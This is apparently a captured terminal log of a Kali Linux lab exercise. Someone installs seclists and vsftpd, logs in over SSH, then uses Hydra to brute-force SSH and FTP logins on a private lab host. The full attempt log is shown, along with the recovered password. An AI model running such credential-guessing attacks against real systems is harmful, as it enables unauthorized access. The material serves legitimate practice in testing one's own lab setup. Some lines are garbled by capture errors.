kali@kali: ~ File Actions Edit View Help zsh: corrupt history file /home/kali/.zsh_history [─(kali®kali)-[~] sudo apt install seclists [sudo] password for kali: Reading package lists ... Done Building dependency tree ... Done Reading state information ... Done The following NEW packages will be installed: seclists 0 upgraded, 1 newly installed, 0 to remove and 364 not upgraded. Need to get 464 MB of archives. After this operation, 1,868 MB of additional disk space will be used. Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2023.4-0kali1 [464 MB] Fetched 464 MB in 14s (33.6 MB/s) Selecting previously unselected package seclists. (Reading database ... 400694 files and directories currently installed.) Preparing to unpack .../seclists_2023.4-0kali1_all.deb ... Unpacking seclists (2023.4-0kali1) ... Setting up seclists (2023.4-0kali1) ... Processing triggers for kali-menu (2023.4.6) ... Processing triggers for wordlists (2023.2.0) ...

```
(kali⊕kali)-[~]

$ sudo apt install vsftpd
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 364 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 1s (275 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 406322 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2 amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.0-1) ...
```

Processing triggers for kali-menu (2023.4.6) ...

```
(kali⊕ kali)-[~]

$ sudo service ssh start
```

(kali@ kali)-[~] \$ ssh test_user@192.168.50.101 ssh: connect to host 192.168.50.101 port 22: No route to host

```
(kali@ kali)-[~]

$ ssh test_user@192.168.50.100
```

test_user@192.168.50.100's password:

individual files in /usr/share/doc/*/copyright.

The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.

ED25519 key fingerprint is SHA256:zfkt61qwyVfmDvsOQ/E5bB8Cfc6ZwSWNeyzm+mVlnhU. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.

Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64 The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

```
hvdra -L user.txt -P pass.txt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,
these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 06:05:43
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 06:06:00
```

___(kali⊕kali)-[~]

```
__(kali⊕kali)-[~]
hydra -V -L user.txt -P pass.txt ftp://192.168.50.100
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ★★★
ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 06:09:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "user" - pass "1234" - 1 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "11222334" - 2 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "mimmomimmo" - 3 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "giacomogiacomo" - 4 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 5 of 25 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni" - pass "1234" - 6 of 25 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni" - pass "11222334" - 7 of 25 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni" - pass "mimmomimmo" - 8 of 25 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni" - pass "giacomogiacomo" - 9 of 25 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni" - pass "testpass" - 10 of 25 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giacomo" - pass "1234" - 11 of 25 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giacomo" - pass "11222334" - 12 of 25 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giacomo" - pass "mimmomimmo" - 13 of 25 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giacomo" - pass "giacomogiacomo" - 14 of 25 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giacomo" - pass "testpass" - 15 of 25 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "aldo" - pass "1234" - 16 of 25 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "aldo" - pass "11222334" - 17 of 25 [child 8] (0/0),
[ATTEMPT] target 192.168.50.100 - login "aldo" - pass "mimmomimmo" - 18 of 25 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "aldo" - pass "giacomogiacomo" - 19 of 25 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "aldo" - pass "testpass" - 20 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test user" - pass "1234" - 21 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "11222334" - 22 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mimmomimmo" - 23 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "giacomogiacomo" - 24 of 25 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test user" - pass "testpass" - 25 of 25 [child 5] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 06:09:44
```

--(kali⊕kali)-[~]

sudo service vsftpd start
[sudo] password for kali: